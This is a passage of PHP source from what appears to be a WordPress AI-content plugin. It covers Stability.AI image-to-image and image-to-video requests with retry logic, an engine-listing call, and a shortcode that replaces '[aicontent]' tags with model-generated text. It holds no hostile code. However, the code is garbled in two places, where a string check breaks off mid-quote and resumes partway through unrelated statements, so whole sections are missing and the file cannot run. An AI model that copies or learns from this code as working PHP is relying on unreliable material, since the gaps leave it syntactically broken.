apply_filters('aiomatic_modify_ai_image_query', $text); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(empty($stable_model)) { if (!isset($aiomatic_Main_Settings['stable_model']) || trim($aiomatic_Main_Settings['stable_model']) == '') { $stable_model = AIOMATIC_STABLE_DEFAULT_MODE; } else { $stable_model = trim($aiomatic_Main_Settings['stable_model']); } } if(in_array($stable_model, AIOMATIC_STABLE_NEW_MODELS)) { $stable_model = AIOMATIC_STABLE_DEFAULT_MODE; } if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { $error = 'You need to enter a Stability.AI API key in the plugin\'s "Settings" menu to use this feature!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['stability_app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $stop = null; $session = aiomatic_get_session_id(); $mode = 'stable'; $maxResults = 1; $available_tokens = 1000; $temperature = 1; $width = 512; $height = 512; if(!isset($aiomatic_Main_Settings['no_img_translate']) || $aiomatic_Main_Settings['no_img_translate'] != 'on') { $text_trans = aiomatic_translate_stability($text); if($text_trans != $text && !empty($text_trans)) { aiomatic_log_to_file('Stability.ai prompt translated from: "' . $text . '" to: "' . $text_trans . '"'); $text = $text_trans; } } if(strlen($text) > 2000) { $text = aiomatic_substr($text, 0, 2000); } $query = new Aiomatic_Query($text, $available_tokens, $stable_model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, $width . 'x' . $height, ''); $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $error = 'Image generator is rate limited: ' . $ok; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true) { aiomatic_log_to_file('Editing image using AI Stable Difussion image model: ' . $stable_model . ' and prompt: ' . $text); } if (!isset($aiomatic_Main_Settings['steps']) || trim($aiomatic_Main_Settings['steps']) == '') { $steps = '50'; } else { $steps = trim($aiomatic_Main_Settings['steps']); } if (!isset($aiomatic_Main_Settings['cfg_scale']) || trim($aiomatic_Main_Settings['cfg_scale']) == '') { $cfg_scale = '7'; } else { $cfg_scale = trim($aiomatic_Main_Settings['cfg_scale']); } if (!isset($aiomatic_Main_Settings['cfg_seed']) || trim($aiomatic_Main_Settings['cfg_seed']) == '') { $cfg_seed = ''; } else { $cfg_seed = trim($aiomatic_Main_Settings['cfg_seed']); } if (!isset($aiomatic_Main_Settings['clip_guidance_preset']) || trim($aiomatic_Main_Settings['clip_guidance_preset']) == '') { $clip_guidance_preset = 'NONE'; } else { $clip_guidance_preset = trim($aiomatic_Main_Settings['clip_guidance_preset']); } if (!isset($aiomatic_Main_Settings['clip_style_preset']) || trim($aiomatic_Main_Settings['clip_style_preset']) == '') { $clip_style_preset = 'NONE'; } else { $clip_style_preset = trim($aiomatic_Main_Settings['clip_style_preset']); } if (!isset($aiomatic_Main_Settings['sampler']) || trim($aiomatic_Main_Settings['sampler']) == '') { $sampler = 'auto'; } else { $sampler = trim($aiomatic_Main_Settings['sampler']); } if(intval($steps) < 10 || intval($steps) > 250) { $error = 'Invalid steps count provided (10-250): ' . intval($steps); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($cfg_scale) < 0 || intval($cfg_scale) > 35) { $error = 'Invalid cfg_scale count provided (0-35): ' . intval($cfg_scale); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($cfg_seed) < 0 || intval($cfg_seed) > 4294967295) { $error = 'Invalid cfg_seed count provided (0-4294967295): ' . intval($cfg_seed); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $image_data = aiomatic_get_web_page($init_image_url); if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, 'put_contents($tmpFilePath, $image_data); if ($ret === FALSE) { $error = 'Failed to save temp image URL: ' . $tmpFilePath; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $mime = aiomatic_get_mime($tmpFilePath); if($mime !== 'image/png' && $mime !== 'image/jpeg') { $error = 'Invalid mime type for image (jpeg and png supported only): ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $api_url = 'https://api.stability.ai/v1/generation/' . $stable_model . '/image-to-image'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: multipart/form-data', 'Authorization: ' . $token)); $post_fields = array( 'samples' => 1, 'image_strength' => floatval($image_strength) ); $post_fields['init_image'] = new CURLFile($tmpFilePath, $mime); if(trim($cfg_scale) != '' && trim($cfg_scale) != '7') { $post_fields['cfg_scale'] = trim($cfg_scale); } if(trim($cfg_seed) != '') { $post_fields['seed'] = trim($cfg_seed); } if(trim($clip_guidance_preset) != '' && trim($clip_guidance_preset) != 'NONE') { $post_fields['clip_guidance_preset'] = trim($clip_guidance_preset); } if(trim($clip_style_preset) != '' && trim($clip_style_preset) != 'NONE') { $post_fields['style_preset'] = trim($clip_style_preset); } if(trim($steps) != '' && trim($steps) != '50') { $post_fields['steps'] = trim($steps); } if(trim($sampler) != '' && trim($sampler) != 'auto') { $post_fields['sampler'] = trim($sampler); } $post_fields['text_prompts[0][text]'] = $text; $post_fields['text_prompts[0][weight]'] = 1; curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . $json_resp['name'] . ': ' . $json_resp['message']; } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); aiomatic_log_to_file('PostFields: ' . print_r($post_fields, true)); $error = 'Failed to generate the image, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_close($ch); if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['artifacts'][0]['base64'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $upload_dir = wp_upload_dir(); $keyword_class = new Aiomatic_keywords(); $filename = aiomatic_transformFileName($init_image_url); if(empty($filename)) { $filename = $keyword_class->keywords($text, 4); } $filename = str_replace(' ', '-', $filename); if(empty($filename)) { $seed = rand(); if(isset($json_resp['artifacts'][0]['seed'])) { $seed = $json_resp['artifacts'][0]['seed']; } $filename = $seed . '.png'; } else { $filename .= '-' . rand(1,99999) . '.png'; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } $reason = ''; if(isset($json_resp['artifacts'][0]['finishReason'])) { $reason = $json_resp['artifacts'][0]['finishReason']; if($reason == 'ERROR') { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after error failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image_to_image($init_image_url, $text, $image_strength, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal, $stable_model); } else { $error = 'An error was encountered during API call: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } elseif($reason == 'CONTENT_FILTERED') { aiomatic_log_to_file('The image was filtered, by the nudity filter, blurred parts may appear in it, prompt: ' . $ret_path); } } $json_resp = apply_filters( 'aiomatic_stability_reply_raw', $json_resp, $text ); $img = $json_resp['artifacts'][0]['base64']; apply_filters( 'aiomatic_ai_reply', $img, $query ); if($returnbase64 == true) { return $img; } $rezi = aiomatic_base64_to_jpeg($img, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $localpath = aiomatic_copy_image_locally($rezi[1]); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } function aiomatic_generate_stability_video($image_url = '', $image_size = '768x768', $env = '', $retry_count = 0, $returnbase64 = false, &$error = '', $nolocal = false) { $all_stable_video_sizes = ['768x768' => '768x768', '1024x576' => '1024x576', '576x1024' => '576x1024']; $is_allowed = apply_filters('aiomatic_is_ai_video_allowed', true, $image_url); if ( $is_allowed !== true ) { $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer'); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $image_url = apply_filters('aiomatic_modify_ai_video_url', $image_url); if($image_size != '') { $expl = explode('x', $image_size); if(!isset($expl[1])) { $error = 'Invalid resize size provided: ' . $image_size; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $width = $expl[0]; $height = $expl[1]; $upload_dir = wp_upload_dir(); if(substr( $image_url, 0, 10 ) === "data:image") { $data = explode(',', $image_url); if(isset($data[1])) { $image_data = base64_decode($data[1]); if($image_data === FALSE) { $error = 'Failed to decode image URL data: ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $error = 'Failed to download image URL post data: ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } preg_match('{data:image/(.*?);}', $image_url, $ex_matches); if(isset($ex_matches[1])) { $image_url = 'image.' . $ex_matches[1]; } else { $image_url = 'image.jpg'; } } else { $image_data = aiomatic_get_web_page($image_url); if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename); $filename = str_replace('*', '-', $filename); $filename = str_replace('/', '-', $filename); $filename = str_replace('$', '-', $filename); $filename = str_replace('\'', '-', $filename); $filename = str_replace('"', '-', $filename); $filename = str_replace(':', '-', $filename); $filename = str_replace('@', '-', $filename); $filename = str_replace('+', '-', $filename); $filename = str_replace('|', '-', $filename); $filename = str_replace('=', '-', $filename); $filename = str_replace('`', '-', $filename); $file_parts = pathinfo($filename); if(!isset($file_parts['extension'])) { $file_parts['extension'] = ''; } switch($file_parts['extension']) { case "": if(!aiomatic_endsWith($filename, '.jpg')) $filename .= '.jpg'; break; case NULL: if(!aiomatic_endsWith($filename, '.jpg')) $filename .= '.jpg'; break; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } if($wp_filesystem->exists($file)) { unlink($file); } $ret = $wp_filesystem->put_contents($file, $image_data); if ($ret === FALSE) { $error = 'Failed to save initial image URL: ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } try { if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");} $imageRes = new ImageResize($file); if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '') { $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']); } else { $imageRes->quality_jpg = 100; } $imageRes->resize($width, $height, true); $imageRes->save($file); $imageData = $wp_filesystem->get_contents($file); if($imageData === false) { $error = 'Failed to read local file: ' . $file; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } unlink($file); } catch(Exception $e) { $error = 'Failed to resize AI generated image: ' . $image_url . ' to sizes ' . $width . ' - ' . $height . '. Exception thrown ' . esc_html($e->getMessage()) . '!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $imageData = aiomatic_get_web_page($image_url); if ($imageData === false) { $error = 'Failed to download image URL: ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $video_cfg_scale = '2.5'; if (isset($aiomatic_Main_Settings['video_cfg_scale']) && trim($aiomatic_Main_Settings['video_cfg_scale']) != '') { $video_cfg_scale = $aiomatic_Main_Settings['video_cfg_scale']; } $motion_bucket_id = '40'; if (isset($aiomatic_Main_Settings['motion_bucket_id']) && trim($aiomatic_Main_Settings['motion_bucket_id']) != '') { $motion_bucket_id = $aiomatic_Main_Settings['motion_bucket_id']; } if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { $error = 'You need to enter a Stability.AI API key in the plugin\'s "Settings" menu to use this feature!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(!in_array($image_size, $all_stable_video_sizes)) { $image_size = '768x768'; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['stability_app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); $stop = null; $session = aiomatic_get_session_id(); $mode = 'video'; $maxResults = 1; $available_tokens = 1000; $temperature = 1; $query = new Aiomatic_Query($image_url, $available_tokens, 'stable-diffusion-video', $temperature, $stop, $env, $mode, $token, $session, $maxResults, $image_size, ''); $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings ); if ( $ok !== true ) { $error = 'Video generator is rate limited: ' . $ok; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Generating Stability.AI Video using image URL: ' . $image_url . ' size: ' . $image_size); } $tmpFilePath = tempnam(sys_get_temp_dir(), 'upload_'); if ( $tmpFilePath === false ) { $error = 'Failed to generate a temporary file name'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $tmpFilePath .= '.jpg'; $ret = $wp_filesystem->put_contents($tmpFilePath, $imageData); if ($ret === FALSE) { $error = 'Failed to save temp image URL: ' . $tmpFilePath; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $mime = aiomatic_get_mime($tmpFilePath); if($mime !== 'image/png' && $mime !== 'image/jpeg') { $error = 'Invalid mime type for image (jpeg and png supported only): ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $cfile = new CURLFile($tmpFilePath, $mime); $api_url = 'https://api.stability.ai/v2alpha/generation/image-to-video'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability video API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_video($image_url, $image_size, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('content-type: multipart/form-data', 'authorization: ' . $token)); $post_fields = array( 'image' => $cfile, 'cfg_scale' => floatval($video_cfg_scale), 'motion_bucket_id' => intval($motion_bucket_id) ); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); unlink($tmpFilePath); curl_close($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability video API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_video($image_url, $image_size, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . print_r($json_resp, true); } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); aiomatic_log_to_file('PostFields: ' . print_r($post_fields, true)); $error = 'Failed to generate the video, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability video API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_video($image_url, $image_size, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability video API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_video($image_url, $image_size, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['id'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability video API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_video($image_url, $image_size, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $filename = 'video' . uniqid() . '.mp4'; $upload_dir = wp_upload_dir(); if (wp_mkdir_p($upload_dir['path'] . '/videos')) { $file = $upload_dir['path'] . '/videos/' . $filename; $ret_path = $upload_dir['url'] . '/videos/' . $filename; } else { $file = $upload_dir['basedir'] . '/videos/' . $filename; $ret_path = $upload_dir['baseurl'] . '/videos/' . $filename; } $my_id = $json_resp['id']; $ch = curl_init(); if ( $ch === false ) { $error = 'Failed to init CURL!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'authorization: ' . $token, 'accept: application/json' ]); $apiUrl = 'https://api.stability.ai/v2alpha/generation/image-to-video/result/' . $my_id; $max_timeout = 600; $wait_time = 0; $videoData = false; do { curl_setopt($ch, CURLOPT_URL, $apiUrl); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode == 200) { $response = apply_filters( 'aiomatic_stability_video_reply_raw', $response, $image_url ); $videojson = json_decode($response, true); if ( $videojson === null ) { $error = 'Failed to decode video API response! ' . $response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(!isset($videojson['video'])) { $error = 'Cannot decode video response ' . print_r($videojson, true); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $videoData = $videojson['video']; break; } elseif ($httpCode != 202) { $error = 'Error returned from video API call ' . $httpCode . ' - ID: ' . $my_id . ' - data: ' . $response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } sleep(2); $wait_time += 2; } while ($wait_time < $max_timeout); curl_close($ch); if($videoData === false) { $error = 'Failed to get video data for ' . $image_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } apply_filters( 'aiomatic_ai_reply', $videoData, $query ); if($returnbase64 == true) { return $videoData; } $rezi = aiomatic_base64_to_file($videoData, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $copy_it = $aiomatic_Main_Settings['copy_locally']; $localpath = aiomatic_copy_video_locally($rezi[1], 'video_' . time(), $copy_it); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } function aiomatic_list_stability_engines() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { aiomatic_log_to_file('You need to enter a Stability.AI API key in the plugin\'s "Settings" menu to use this feature!'); return false; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['stability_app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $api_url = 'https://api.stability.ai/v1/engines/list'; $ch = curl_init(); if($ch === false) { aiomatic_log_to_file('Failed to create Stability curl request.'); return false; } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Authorization: ' . $token)); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . ' response: ' . print_r($ai_response, true)); return false; } curl_close($ch); if($ai_response === false) { aiomatic_log_to_file('Failed to get AI response: ' . $api_url); return false; } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { aiomatic_log_to_file('Failed to decode AI response: ' . $ai_response); return false; } aiomatic_log_to_file('Results: ' . print_r($json_resp, true)); } return true; } add_filter( 'aiomatic_replace_aicontent_shortcode', 'aiomatic_ai_content_replace', 10, 1 ); function aiomatic_ai_content_replace($content) { preg_match_all('#\[[\t\s]*aicontent(\d*)(?:[\t\s]*model=[\'"]?([^\]"\']+)[\'"]?)?[\t\s]*\]([\s\S]*?)\[\/[\t\s]*aicontent\1[\t\s]*\]#i', $content, $matches); if(isset($matches[0][0]) && isset($matches[1][0]) && isset($matches[2][0])) { $all_mdoels = aiomatic_get_all_models(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; for($i = 0; $i < count($matches[0]); $i++) { if(!isset($matches[3][$i])) { continue; } $replacement = ''; if (isset($aiomatic_Main_Settings['aicontent_model']) && trim($aiomatic_Main_Settings['aicontent_model']) != '') { $model = trim($aiomatic_Main_Settings['aicontent_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['aicontent_assistant_id']) && trim($aiomatic_Main_Settings['aicontent_assistant_id']) != '') { $aicontent_assistant_id = trim($aiomatic_Main_Settings['aicontent_assistant_id']); } else { $aicontent_assistant_id = ''; } if (isset($aiomatic_Main_Settings['aicontent_temperature']) && trim($aiomatic_Main_Settings['aicontent_temperature']) != '') { $temperature = floatval($aiomatic_Main_Settings['aicontent_temperature']); } else { $temperature = 1; } if (isset($aiomatic_Main_Settings['aicontent_top_p']) && trim($aiomatic_Main_Settings['aicontent_top_p']) != '') { $top_p = floatval($aiomatic_Main_Settings['aicontent_top_p']); } else { $top_p = 1; } if (isset($aiomatic_Main_Settings['aicontent_presence_penalty']) && trim($aiomatic_Main_Settings['aicontent_presence_penalty']) != '') { $presence_penalty = floatval($aiomatic_Main_Settings['aicontent_presence_penalty']); } else { $presence_penalty = 0; } if (isset($aiomatic_Main_Settings['aicontent_frequency_penalty']) && trim($aiomatic_Main_Settings['aicontent_frequency_penalty']) != '') { $frequency_penalty = floatval($aiomatic_Main_Settings['aicontent_frequency_penalty']); } else { $frequency_penalty = 0; } if(in_array(trim($matches[2][$i]), $all_mdoels)) { $model = trim($matches[2][$i]); } if(trim($matches[3][$i]) != '') { if(stristr($matches[3][$i], 'aicontent') !== false) { $matches[3][$i] = aiomatic_ai_content_replace($matches[3][$i]); } $max_tokens = aiomatic_get_max_tokens($model); $prompt = trim($matches[3][$i]); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens < AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $prompt = aiomatic_substr($prompt, 0, $string_len); $prompt = trim($prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aicontent_assistant_id . '/' . $model . ') for aicontent shortcode text generator: ' . $prompt); } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'nestedAIShortcode', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $aicontent_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Failed to generate nested AI content: ' . $aierror); } else { $replacement = trim(trim(trim(trim($generated_text), '.'), ' "\'')); } } $content = str_replace($matches[0][$i], $replacement, $content); } } else { for($i = 0; $i < count($matches[0]); $i++) { $content = str_replace($matches[0][$i], '', $content); } } } return $content; } function aiomatic_add_custom_capability() { if (is_admin()) { $role_names = array('administrator'); 